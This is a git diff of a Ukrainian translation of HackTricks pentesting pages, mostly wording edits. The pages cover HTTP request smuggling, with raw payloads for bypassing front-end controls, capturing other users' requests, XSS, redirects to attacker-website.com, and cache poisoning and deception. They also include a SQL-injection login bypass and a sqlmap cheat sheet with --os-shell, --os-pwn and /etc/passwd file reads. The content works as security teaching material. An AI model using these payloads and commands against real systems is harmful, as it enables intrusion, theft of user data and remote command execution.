* Цей сценарій зазвичай не призводить до смугування, оскільки є узгодженість у тому, як обидва сервери інтерпретують довжину запиту.
|
||||
|
@ -164,7 +164,7 @@ Connection: keep-alive
|
|||
Normal Request
|
||||
```
|
||||
|
||||
#### **Сценар CL.0**
|
||||
#### **Сценарій CL.0**
|
||||
|
||||
* Відноситься до сценаріїв, де заголовок `Content-Length` присутній і має значення, відмінне від нуля, що вказує на те, що тіло запиту має вміст. Бекенд ігнорує заголовок `Content-Length` (який обробляється як 0), але фронтальний його парсить.
|
||||
* Це важливо для розуміння та створення атак на смугування, оскільки це впливає на те, як сервери визначають кінець запиту.
|
||||
|
@ -179,7 +179,7 @@ Connection: keep-alive
|
|||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### Сценар TE.0
|
||||
#### Сценарій TE.0
|
||||
|
||||
* Як попередній, але з використанням TE
|
||||
* Техніка [повідомлена тут](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
@ -274,9 +274,9 @@ X
|
|||
* **Використання автоматизованих інструментів:**
|
||||
* Інструменти, такі як розширення 'HTTP Request Smuggler' Burp Suite, можуть автоматично перевіряти ці вразливості, надсилаючи різні форми неоднозначних запитів і аналізуючи відповіді.
|
||||
* **Тести на варіацію Content-Length:**
|
||||
* Надсилайте запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
|
||||
* Надішліть запити з різними значеннями `Content-Length`, які не відповідають фактичній довжині вмісту, і спостерігайте, як сервер обробляє такі невідповідності.
|
||||
* **Тести на варіацію Transfer-Encoding:**
|
||||
* Надсилайте запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному реагують сервери на фронтенді та бекенді на такі маніпуляції.
|
||||
* Надішліть запити з обфусцированими або неправильно сформованими заголовками `Transfer-Encoding` і спостерігайте, як по-різному реагують сервери на фронтенді та бекенді на такі маніпуляції.
|
||||
|
||||
### Тестування вразливостей HTTP Request Smuggling
|
||||
|
||||
|
@ -288,7 +288,7 @@ X
|
|||
|
||||
* **Відокремлені мережеві з'єднання:** "Атакуючі" та "нормальні" запити повинні надсилатися через окремі мережеві з'єднання. Використання одного й того ж з'єднання для обох не підтверджує наявність вразливості.
|
||||
* **Послідовні URL та параметри:** Намагайтеся використовувати однакові URL та імена параметрів для обох запитів. Сучасні додатки часто маршрутизують запити до конкретних серверів на бекенді на основі URL та параметрів. Відповідність цим підвищує ймовірність того, що обидва запити обробляються одним і тим же сервером, що є передумовою для успішної атаки.
|
||||
* **Таймінг та умови гонки:** "Нормальний" запит, призначений для виявлення втручання з боку "атакуючого" запиту, конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
|
||||
* **Таймінг та умови гонки:** "Нормальний" запит, призначений для виявлення втручання з "атакуючого" запиту, конкурує з іншими одночасними запитами додатка. Тому надсилайте "нормальний" запит відразу після "атакуючого" запиту. Завантажені додатки можуть вимагати кількох спроб для підтвердження вразливості.
|
||||
* **Виклики балансування навантаження:** Сервери на фронтенді, які виконують функції балансування навантаження, можуть розподіляти запити між різними системами на бекенді. Якщо "атакуючі" та "нормальні" запити потрапляють на різні системи, атака не вдасться. Цей аспект балансування навантаження може вимагати кількох спроб для підтвердження вразливості.
|
||||
* **Непередбачуваний вплив на користувачів:** Якщо ваша атака ненавмисно впливає на запит іншого користувача (не "нормальний" запит, який ви надіслали для виявлення), це вказує на те, що ваша атака вплинула на іншого користувача додатка. Постійне тестування може порушити роботу інших користувачів, що вимагає обережного підходу.
|
||||
|
||||
|
@ -296,7 +296,7 @@ X
|
|||
|
||||
### Обхід безпеки фронтенду через HTTP Request Smuggling
|
||||
|
||||
Іноді проксі на фронтенді впроваджують заходи безпеки, перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений ззовні, а проксі на фронтенді активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в межах прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.
|
||||
Іноді проксі-сервери на фронтенді впроваджують заходи безпеки, ретельно перевіряючи вхідні запити. Однак ці заходи можна обійти, експлуатуючи HTTP Request Smuggling, що дозволяє несанкціонований доступ до обмежених кінцевих точок. Наприклад, доступ до `/admin` може бути заборонений ззовні, а проксі на фронтенді активно блокує такі спроби. Проте цей проксі може не перевіряти вбудовані запити в рамках прихованого HTTP запиту, залишаючи лазівку для обходу цих обмежень.
|
||||
|
||||
Розгляньте наступні приклади, які ілюструють, як HTTP Request Smuggling може бути використано для обходу контролю безпеки на фронтенді, зокрема на шляху `/admin`, який зазвичай охороняється проксі на фронтенді:
|
||||
|
||||
|
@ -317,7 +317,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Проксі на фронтенді обробляє початковий `POST` запит, але не перевіряє вбудований запит `GET /admin`, що дозволяє несанкціонований доступ до шляху `/admin`.
|
||||
У атаці CL.TE заголовок `Content-Length` використовується для початкового запиту, тоді як наступний вбудований запит використовує заголовок `Transfer-Encoding: chunked`. Проксі на фронтенді обробляє початковий `POST` запит, але не перевіряє вбудований `GET /admin` запит, що дозволяє несанкціонований доступ до шляху `/admin`.
|
||||
|
||||
**TE.CL Приклад**
|
||||
```
|
||||
|
@ -339,7 +339,7 @@ a=x
|
|||
|
||||
### Виявлення переписування запитів фронтального сервера <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Застосунки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію чи кінцеві точки**.
|
||||
Застосунки часто використовують **фронтальний сервер** для модифікації вхідних запитів перед їх передачею на бекенд-сервер. Типова модифікація включає додавання заголовків, таких як `X-Forwarded-For: <IP клієнта>`, для передачі IP клієнта на бекенд. Розуміння цих модифікацій може бути вирішальним, оскільки це може виявити способи **обійти захист** або **виявити приховану інформацію або кінцеві точки**.
|
||||
|
||||
Щоб дослідити, як проксі змінює запит, знайдіть параметр POST, який бекенд відображає у відповіді. Потім створіть запит, використовуючи цей параметр останнім, подібно до наступного:
|
||||
```
|
||||
|
@ -362,13 +362,13 @@ search=
|
|||
|
||||
Важливо узгодити заголовок `Content-Length` вкладеного запиту з фактичною довжиною вмісту. Рекомендується починати з невеликого значення і поступово збільшувати, оскільки занадто низьке значення обрізає відображені дані, а занадто високе значення може призвести до помилки запиту.
|
||||
|
||||
Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.
|
||||
Ця техніка також застосовна в контексті вразливості TE.CL, але запит повинен закінчуватися на `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додаватися до параметра пошуку.
|
||||
|
||||
Цей метод в основному служить для розуміння модифікацій запиту, зроблених проксі-сервером фронтенду, фактично виконуючи самостійне розслідування.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Захоплення запитів інших користувачів <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Цілком можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:
|
||||
Можливо захопити запити наступного користувача, додавши конкретний запит як значення параметра під час операції POST. Ось як це можна здійснити:
|
||||
|
||||
Додавши наступний запит як значення параметра, ви можете зберегти запит наступного клієнта:
|
||||
```
|
||||
|
@ -392,9 +392,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||
```
|
||||
У цьому сценарії **параметр коментаря** призначений для зберігання вмісту в секції коментарів поста на публічно доступній сторінці. Відповідно, вміст наступного запиту з'явиться як коментар.
|
||||
|
||||
Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, використаного в контрабандному запиті. Для URL-кодованих форм, цей роздільник - символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути частиною рядка запиту.
|
||||
Однак у цієї техніки є обмеження. Як правило, вона захоплює дані лише до роздільника параметра, що використовується в контрабандному запиті. Для URL-кодованих формулярів цей роздільник - це символ `&`. Це означає, що захоплений вміст з запиту жертви зупиниться на першому `&`, який може бути навіть частиною рядка запиту.
|
||||
|
||||
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит повинен закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
|
||||
Крім того, варто зазначити, що цей підхід також є життєздатним з вразливістю TE.CL. У таких випадках запит має закінчуватися `search=\r\n0`. Незалежно від символів нового рядка, значення будуть додані до параметра пошуку.
|
||||
|
||||
### Використання HTTP request smuggling для експлуатації відображеного XSS
|
||||
|
||||
|
@ -440,9 +440,9 @@ A=
|
|||
|
||||
Версія HTTP/0.9 була попередньою до 1.0 і використовує лише **GET** дієслова та **не** відповідає з **заголовками**, лише тілом.
|
||||
|
||||
У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену HTTP/1.1 відповідь (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
|
||||
У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену відповідь HTTP/1.1 (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
|
||||
|
||||
### Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Експлуатація перенаправлень на сайті з допомогою контрабанди HTTP запитів <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:
|
||||
```
|
||||
|
@ -468,14 +468,14 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Цей прихований запит може призвести до того, що наступний оброблений запит користувача буде перенаправлено на веб-сайт, контрольований зловмисником:
|
||||
Цей прихований запит може призвести до того, що наступний оброблений запит користувача буде перенаправлений на веб-сайт, контрольований зловмисником:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
Результати в:
|
||||
Результати:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
|
@ -508,11 +508,11 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінюючи **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
|
||||
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлений на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінюючи **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
|
||||
|
||||
Після успішного **отруєння сокетів** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
|
||||
Після успішного **отруєння сокета** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
|
||||
|
||||
В подальшому будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.
|
||||
Потім будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.
|
||||
|
||||
### Використання HTTP request smuggling для виконання обману веб-кешу <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
|
@ -521,7 +521,7 @@ x=1
|
|||
> * У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка.
|
||||
> * У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.
|
||||
|
||||
Зловмисник створює підроблений запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
|
||||
Зловмисник створює контрабандний запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -536,7 +536,7 @@ x=1
|
|||
|
||||
### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**У цьому пості**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо сервер має метод TRACE увімкненим, це може бути можливим зловживання через HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:
|
||||
[**У цьому пості**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо сервер має метод TRACE увімкненим, це може бути можливим зловживати ним за допомогою HTTP Request Smuggling. Це пов'язано з тим, що цей метод відображатиме будь-який заголовок, надісланий на сервер, як частину тіла відповіді. Наприклад:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -553,15 +553,15 @@ Host: vulnerable.com
|
|||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Прикладом зловживання цією поведінкою буде **переправка спочатку запиту HEAD**. На цей запит буде відповідано лише **заголовками** запиту GET (**`Content-Type`** серед них). І переправити **одразу після HEAD запит TRACE**, який буде **відображати надіслані дані**.\
|
||||
Оскільки відповідь на HEAD буде містити заголовок `Content-Length`, **відповідь на запит TRACE буде розглядатися як тіло відповіді HEAD, отже, відображаючи довільні дані** у відповіді.\
|
||||
Ця відповідь буде надіслана до наступного запиту через з'єднання, тому це може бути **використано в кешованому JS файлі, наприклад, для впровадження довільного JS коду**.
|
||||
Прикладом зловживання цією поведінкою буде **проведення спочатку HEAD запиту**. На цей запит буде відповідано лише **заголовками** GET запиту (**`Content-Type`** серед них). І відразу після HEAD буде проведено **TRACE запит**, який буде **відображати надіслані дані**.\
|
||||
Оскільки відповідь на HEAD міститиме заголовок `Content-Length`, **відповідь на TRACE запит буде розглядатися як тіло відповіді на HEAD, отже, відображаючи довільні дані** у відповіді.\
|
||||
Ця відповідь буде надіслана на наступний запит через з'єднання, тому це може бути **використано, наприклад, у кешованому JS файлі для ін'єкції довільного JS коду**.
|
||||
|
||||
### Зловживання TRACE через розділення HTTP-відповідей <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Продовжуючи слідувати [**цьому посту**](https://portswigger.net/research/trace-desync-attack), пропонується інший спосіб зловживання методом TRACE. Як зазначено, переправка запиту HEAD і запиту TRACE дозволяє **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.
|
||||
Продовжуючи слідувати [**цьому посту**](https://portswigger.net/research/trace-desync-attack), пропонується інший спосіб зловживання методом TRACE. Як зазначено, зловживаючи HEAD запитом і TRACE запитом, можна **контролювати деякі відображені дані** у відповіді на HEAD запит. Довжина тіла HEAD запиту в основному вказується в заголовку Content-Length і формується відповіддю на TRACE запит.
|
||||
|
||||
Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (що може бути використано для виконання отруєння кешу).
|
||||
Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (яка може бути використана для виконання отруєння кешу).
|
||||
|
||||
Приклад:
|
||||
```
|
||||
|
@ -582,7 +582,7 @@ Content-Length: 44\r\n
|
|||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Згенерує ці ці responses (зверніть увагу, що відповідь HEAD має Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь проникає):
|
||||
Згенерує ці ці responses (зверніть увагу, що у відповіді HEAD є Content-Length, що робить відповідь TRACE частиною тіла HEAD, і як тільки закінчується Content-Length HEAD, дійсна HTTP відповідь прихована):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
@ -719,7 +719,7 @@ table.add(req)
|
|||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент є HTTP Fuzzer на основі граматики, корисний для виявлення дивних розбіжностей у прихованих запитах.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент є HTTP Fuzzer на основі граматики, корисний для виявлення дивних розбіжностей у прихованні запитів.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -735,15 +735,15 @@ table.add(req)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, виявлення проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -751,7 +751,7 @@ table.add(req)
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -833,7 +833,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -850,7 +850,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -71,7 +71,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### Впровадження GET-запиту
|
||||
### Впровадження GET запиту
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
|
@ -104,7 +104,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Shell
|
||||
### Оболонка
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -119,7 +119,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Обходити веб-сайт за допомогою SQLmap та автоматичне використання
|
||||
### Обходити веб-сайт за допомогою SQLmap та автоматичне використання уразливостей
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -159,7 +159,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець корисного навантаження |
|
||||
| base64encode.py | Кодує всі символи в заданому корисному навантаженні в Base64 |
|
||||
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
|
||||
|
@ -201,29 +201,29 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
|
||||
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
|
||||
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем MySQL |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем MySQL |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
